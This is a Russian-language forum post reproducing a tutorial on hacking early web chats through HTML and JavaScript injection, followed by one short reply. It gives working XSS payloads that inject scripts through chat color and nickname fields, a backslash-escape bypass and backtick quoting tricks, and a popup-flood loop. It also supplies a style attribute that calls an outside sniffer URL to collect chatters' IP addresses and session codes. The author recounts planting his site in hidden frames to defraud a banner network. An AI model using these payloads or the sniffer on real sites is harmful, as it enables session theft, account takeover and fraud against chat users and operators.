В первой главе было показано как изменить входную форму чата. В частности нужно было изменить относительный адрес поля action на абсолютный. Однако, структура чата может быть настолько сложной, что таких замен может потребоваться очень много. Менять во всех случаях адреса неудобно (да и можно ошибиться). Вместо этого, можно порекомендовать тег <base href='http://typachat.ru/'>, который вставляется в любое место HTML документа. При этом, все относительные адреса будут адресоваться относительно адреса указанного в теге base (в данном случае относительно typachat.ru), независимо от реального базового DNS имени.

Вы наверно знаете что такое снифферы? Если нет, то я вам скажу сниффер - очень полезная штука, позволяющая отслеживать траффик. В случае с чатом, сниффер позволяет определить IP адреса находящихся в чате, а также и их временные имена и коды (для чатов с временными именами). Иногда это даже позволяет получить админские права smile.gif). Не буду вдаваться в подробности, скажу лишь, что для запуска сниффера нужно записать в теге общака: style=background:url(http://www.hackzone.ru/cgi-bin/sniff.cgi?Algol), а результат смотреть в http://www.hackzone.ru/files/snifflog.txt.

> Часто бывает так, что ник в тексте чата выступает как ссылка, при нажатии на которую, можно послать приватное сообщение чатовцу. Вот как это выглядит в HTML:

<a href=javascript:parent.window.messageFor("Alpha")>Alpha</a>- Привет!<br>
<a href=javascript:parent.window.messageFor("Модератор")>Модератор</a>- Привет!<br>

Помимо эффекта, описанного в главе "Чудеса с символом =", здесь возможена вставка скрипта, срабатывающего на событие клика по ссылке (если чат не отфильтровывает ограничивающие кавычки - в данном случае " - и символ + ). Для этого, в качестве ника, зададим следующее значение: "+alert('Hello!')+". Результат смотрите здесь. Можно вставить что-нибуть и посерьезнее (только воспользовавшись функцией toString()). Например такой ник "+toString(open('//yahoo.com','_top'))+" отсылает юзера, тыкнувшего на ваш ник, отдохнуть от чата в Yahoo smile.gif).

Взлом чата M

Как уже упоминалось в первой главе, существует два метода взлома чатов. Все приведенные выше примеры относились к первому методу - методу проникновения в параметры тега. Здесь я хочу показать технологию второго метода - метода нарушения структуры HTML.

> Цвет сообщений в чате М задавался в числовом виде (и потому имел ограничение на длинну цвета - 7 символов), имел причудливые фильтры, но пропускал одиночный символ ' . Вот фрагмент сообщений в чате:

<font class="а1">22:41:24 </font> <a href= "javascript:parent.parent.sewho('РТУТЬ')"onMouseOver="window.status='';return true;" target=kbd><font color=#0066ff class="ку">РТУТЬ:</font></a><font color=#FF0000 class="уц">ПЛУГиПРЕЙ:КОРОШО!</font><br>
<script>top.do_scrolldown();</SCRIPT>
<font class="а1">22:41:25 </font> <a href= "javascript:parent.parent.sewho('Весь_в_сертах')"onMouseOver="window.status='';return true;" target=kbd><font color=#0000FF class="ку">Весь_в_сертах:</font></a><font color=#0000FF class="уц">Денис_Семенов: ПРАВИЛЬНЕЙ БУДЕТ ВСЕ</font><br>
<script>top.do_scrolldown();</SCRIPT>

Как видим цвет указывался без обрамляющих кавычек. Технология взлома проста: логинимся под произвольным ником, и цветом '. Затем, войдя в чат, выдаем сообщение типа ' style=background-image:url(javascript:alert('Hello_people!!')) . Обратим внимание на пробел в конце - он обязателен. Наше сообщение выглядит следующим образом:

<font class="а1">22:41:24 </font> <a href= "javascript:parent.parent.sewho('Algol')"onMouseOver="window.status='';return true;" target=kbd><font color=#0066ff class="ку">Algol:</font></a><font color=' class="уц">' style=background-image:url(javascript:alert('Hello_people!!')) </font><br>
<script>top.do_scrolldown();</SCRIPT>

При этом оказывается, что часть HTML кода - class="уц"> - оказалась внутри одинарных кавычек,и рассматривается браузером как строка-значение цвета. В эту строку попадает и закрывающая угловая скобка тега, благодаря чему наше сообщение оказывается внутри тега! Часть кода, идущая непосредственно после нашего сообщения </font не понимается браузером и игнорируется (причем эта часть должна быть отделена пробелом от нашего параметра style, иначе параметр вцелом будет считаться ошибочным) , а вот вслед идущая угловая скобка считается закрывающей тег font . Все очень просто.

> Немного о символе обратного слэша \.

В строках-константах JavaScript имеется один специальный управляющий символ. Это символ обратного слэша \. Одно из его назначений следующее: идущий за ним символ кавычки считается именно символом, а не ограничителем строки. Например: <script>alert('It\'s')</script> - не выдает сообщение об ошибке, поскольку апостроф в комбинации с \ в середине строки не считается концом строки. В то время, как <script>alert('It's')</script> выдает сообщение об ошибке.

Поскольку сам символ \ является управляющим (и поэтому не отображается непосредственно в строке), то для отображения самого себя существует комбинация \\. Такой такая комбинация отображается как просто символ \.
Какое это все имеет отношение к взлому чатов? А вот какое: некоторые чаты не ставят фильтр на символы кавычек " (или ') в поле ника, а заменяют их на комбинации типа \" (или \'), полагая что в таком случае кавычки будут отображаться но не смогут выступать как ограничители, и следовательно не могут разрушить структуру HTML. При этом недальновидные разработчики упускают из виду то, что и юзер может использовать символ \ для блокировки ихнего символа \. К примеру фрагмент чата для сообщения юзера с ником Al"gol выглядит следующим образом:

<a href='javascript:msgto("Al\"gol")'>Al"gol<a>

В таком случае кавычка в нике не нарушает структуры тега. Но если мы поменяем ник на Al\"gol, то вставив слэш перед кавычкой чат создаст следующий HTML:

<a href='javascript:msgto("Al\\"gol")'>Al\"gol<a>

При этом наш слэш блокирует слэш чата, и кавычка ника разрушает структуру HTML! Это видно если тыкнуть на ссылку в примере.

Этот эффект можно использовать для взлома чатов методом разрушения структуры HTML. Обратим внимание на то, что в некоторых случаях таким же методом можно блокировать ограничивающие кавычки, вставив в конец ника обратный слэш.

Недавно я заметил еще одну дырку, связанную с неправильным использованием символа \ программистами чатов. Пусть, например, ник пользователя вставляется в тело чата в виде <a href='javascript:msgto("Algol")'>Algol<a>. Если мы изменим свой ник на Al'gol, то чат примет такой ник, но заменит на Al\'gol , наивно полагая, что вставив обратный слеш, они защитят тег от разрушения. На самом деле это не так smile.gif. При вставке такого ника в тело чата, это будет выглядеть так: <a href='javascript:msgto("Al\'gol")'>Al'gol<a>. При этом эксплорер выдаст сообщение об ошибке, при попытке тыкнуть на ник. Причина в следующем: знак \ имеет смысл только внутри строковых констант джаваскрипта, но не HTML! Сам HTML символ \ не понимает, и потому считает первый же найденный апостроф концом атрибута href, несмотря на то, что перед ним стоит \. Таким образом, например такой ник Algol'= разрушит структуру тега, несмотря на то что перед апострофом вставится обратный слеш .

Взлом на уровне http

Как уже упоминалось, сервер чата может отслеживать поле referer HTTP запроса, и не пускать в чат, если это поле отличается от нужного. Для того что бы обойти это припятствие нужно отловить заголовок HTTP запроса, отсылаемого чатом на сервер (с помощью специальных программ, например Naviscope) и написать специальную програмку, которая отсылает запросы на сервер. При этом содержимое запросов (напрмер значения поля цвета) можно задавать произвольно.

Не буду останавливаться на этом подробно. Это выходит за рамки взлома HTML.

Отмечу лишь, что на уровне HTTP можно делать более хитрые штуки, чем обычными средствами HTML или JavaScript. В любом случае рекомендую просматривать заголовки HTTP запросов при работе в чате. Они помогут вам более подробно разобраться в работе чата.

> Чудеса с символом =

Как вы думаете, что будет отображаться в браузере для такой строчки HTML: <font onclick=alert('=')>Text</font> ? Держу пари не угадаете (если вы конечно не работаете в Microsoft и не разрабатывали MSIE). Результат настолько специфический, что я не смог сделать пример, который бы его продемонстрировал . Но можете поверить на слово, что в окне браузера будет отображаться следующее: <p><fontonclick=alert('=')>Text

Как видите, открывающий тег <font> в данном случае просто напросто не воспринимается браузером как тег, хотя синтаксических ошибок нет smile.gif). А что будет если мы напишем <font onclick=alert('=') '>Text</font> ? Как ни странно, в таком случае все будет в порядке, хотя налицо ошибка синтаксиса. А если мы кликнем на тексте, выскочит алерт =. Попробуйте переместить третий апостроф за угловую скобку, или за текст: <font onclick=alert('=')>Text'</font>. Получится тоже неожиданный результат.

К сожалению я не имею исходников или подробной документации для MSIE, но я думаю что в данном случае имеет место явная ошибка в MSIE. Вероятно браузер анализирует код в два этапа. На первом этапе он выделяет теги, их атрибуты и текст, который находится между ними, а на втором он анализирует JavaScript-содержимое параметров тегов (речь идет только про те атрибуты, которые допускают значение-скрипт, например href или onclick ). При первичном анализе браузер по непонятной причине считает комбинацию =' началом строки, несмотря на то, что символ = уже находтся внутри строки! Затем приняв =' за начало строки, программа ищет конец (при этом начисто забыв про то, что еще одна строка открыта и не закрыта). Таким образом все что следует за =' (либо =" ) и до следующего символа ' игнорируется и считается строкой! Поэтому в первом примере браузер не воспринимал тег: он не нашел закрывающей угловой скобки, поскольку она находилась (как бы) внутри строки. Но еще более удивительно то, что на втором этапе анализа параметров тега, браузер все воспринимает правильно (в этом можно убедится нажав на надпись Text во втором примере), и воспринимает строку там где надо, и находит закрывающую угловую скобку тоже там где надо. Это ведет к тому, что фрагмент Text из третьего примера не является отображаемым текстом (поскольку как бы не является телом тега), но и не является параматром тега (поскольку на этапе анализа параметров, до нее компилятор просто не доходит)! Пламенный привет Биллу!

Используя данную ошибку браузера мне удалось закоментировать часть кода чата, просто напросто залогинившись под ником = smile.gif). Вот фрагмент кода, который отображал список присутствующих в чате:

<a href=javascript:parent.window.messageFor("=")>=</a><br>
<a href=javascript:parent.window.messageFor("Модератор")>Модератор</a><br>

При этом мой ник в списке просто не отображался, поскольку фрагмент между кавычками )>=</a><br><a href=javascript:parent.window.messageFor( оказался вне тела тегов :-}. Зато при нажатии на Модератор, функция parent.window.messageFor вызывалась с параметром =. Аналогичные "эффекты" были и при отображении моих сообщений в чате.

Замечательно (или печально - смотря для кого) то, что данный глюк проходит практически везде где можно хоть че нить ввести (по крайней мере для MSIE 5.50.4134.0600), и для этого даже не надо ничего менять в форме. А плохо то, что от этого трудно добиться существенной пользы (например запуск скрипта).

В заключении отметим, что аналогичным эффектом обладает и символ >, который воспринимается как конец тега, несмотря на то, что он находится внутри строки. Фрагмент <font onclick=alert('>')>Text</font> интерпретируется браузером как ошибочный, и он выдает ругательство на то, что не закрыта строковая константа.

Два взлома чата T

> Чат T пропускал следующие символы в поле цвета:

' ` = ;


При вставке цвета в чат, обрамляющих кавычек не было. Фрагмент сообщений в чате (кстати автор чата видимо не считает нужным закрывать теги )), хотя будем надеятся что это сделано для повышения быстродействия):

<FONT COLOR=008000><a href=javascript:parent.window.Mtm('22:18:18')>22:18:18</a> - <a href=javascript:parent.window.mfor('BalamUY')>BalamUY</a> : вошел в комнату <br> <FONT COLOR=green><a href=javascript:parent.window.Mtm('22:18:03')>22:18:03</a> - <a href=javascript:parent.window.mfor('Fialka')>Fialka</a> : Sponsor > Если интересная, то ниче. <br>

Смущало то, что пробел не пропускался фильтром. Однако, после некоторых раздумий, я нашел следующее решение - сам цвет я взял в одинарные кавычки, а после цвета без пробела вставил параметр style: 'red'style=background-image:url(javascript:while(1==1)open()). Как отмечалось во второй главе разделительный пробел в данном случае не обязателен smile.gif).

Кстати в этом чате было полно фреймов, и в том числе были скрытые и пустые - вероятно задумывались для каких-либо будущих расширений. Но пока админы думали над расширениями, я нашел им более полезное применение. Я в этом чате висел достаточно долго - несколько месяцев. И висел не просто так: в один из скрытых фреймов я пихал свой сайтик. А на сайтике были баннеры баннерной сети. Таким макаром я накрутил себе около сотни тысяч баннеропоказов, а мой сайт подскочил до 5-6 места в рейтинге хитов Rambler Top 100 (в своей группе). К сожалению, баннерная сеть сопоставила отношение хиты/хосты и поняла что ее водят за нос. Получалось что один и тот же посетитель заходит на мой сайт раз по 50 в день. Мой аккаунт заблокировали. Так наверно до сих пор там и висит, неприкаянный smile.gif).

Но вернемся к нашим баранам. Спустя некоторое время администрация чата заменила cgi-шку. Не знаю какие "улучшения" были сделаны в second edition, но я лишь заметил одно изменение: теперь длинна строки-значения цвета была ограничена, и составляла около 10 символов (кстати такое ограничение стоит во многих чатах, хотя я не понимаю какой в них смысл? Не легче ли поставить фильтры на вводимые символы? Хотя возможно таким образом они защищаются от переполнения буфера?). При таком раскладе, конечно старый метод уже не работал. Втиснуть в 10 символов приличный скрипт нельзя (тут даже и сам style не помещался). Я понял, что можно ломать только через ник или вторым методом - разрушая стрктуру HTML. Несколько часов я пробовал так и этак. Кроме дешевого эффекта исчезновения ника (глава "Чудеса с символом =") ничего не получалось. Ломка структуры ничего не давала по следующей причине: вставляя вместо цвета символ ' я открывал строку, но она закрывалась апострофом который шел в ссылке на время (тут чату просто повезло - это не было задумано как защитная мера, хотя многие чаты вставляют специально для этого фиктивные теги типа <! ' " ' > ):

<FONT COLOR='><a href=javascript:parent.window.Mtm('22:18:18')>22:18:18</a> - <a href=javascript:parent.window.mfor('Algol')>Algol</a> Привет ! <br>

То есть коментировался только фрагмент ><a href=javascript:parent.window.Mtm(. И все чего я добился это удаление тега ссылки на время. Если бы было возможно вставлять вместо однарных кавычек, двойные, то проблемы бы не было, ведь в чате двойные кавычки не применялись. Но символ " не пропускался фильтром. Заход под ником типа Algol= тоже ничего не давал поскольку, как показано в предыдущей главе, символы после 'Algol=')> игнорировались и не считались параметрами тега. Работал конечно еще вариант описанный в конце главы "Вариации на тему", но эти скрипты срабатывали только при нажатии на ссылку моего ника sad.gif(. Я уже готов был признать что целиком чат взломать нельзя. И тут в последний момент, копаясь и эксперементируя в недрах HTML, я обнаружил что символ обратного апострофа тоже является ограничителем строк в HTML !!! И этот символ пропускался фильтром! Недолго думая я залогинился с ником Algol и цветом ` . А потом в качестве сообщения в чат послал такую строку: ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) . Мое сообщение в теле чата выглядело следующим образом:

<FONT COLOR=`><a href=javascript:parent.window.Mtm('22:18:18')>22:18:18</a> - <a href=javascript:parent.window.mfor('Algol')>Algol</a> ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) <br>

При этом фрагмент ><a href=javascript:parent.window.Mtm('22:18:18')>22:18:18</a> - <a href=javascript:parent.window.mfor('Algol')>Algol</a> полностью коментировался и считался как бы цветом, а параметр style оказывался внутри тега <font>! Скрипт сработал smile.gif).

Так что программистам чата T придется разрабатывать новую версию своего детища. Остается толко удивлятся как много лазеек они оставляют, и как медленно их исправляют. Говорят все дело в психологии: разработчики защитных систем не могут поставить себя на место взломщика, а судят о системе со своей стороны, вместо того, что бы посмотреть на нее снаружи.

Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Set
сообщение Feb 8 2006, 12:32
Сообщение #20


Новичок
*

Группа: Новички
Сообщений: 48
Регистрация: 1-July 05
Из: Moskva-сити!
Пользователь №: 45
Заходит на форум с полного инета.



В каком нибудь древнем чате, который не обновляли ни разу может сработает...
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение

2 страниц V  1 2 >
ОтветитьСоздать новую тему
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 

- Текстовая версия Сейчас: 13th April 2021 - 01:48
 
     
Rambler's Top100 службы мониторинга серверов
Gentoo Powered Lighttpd Powered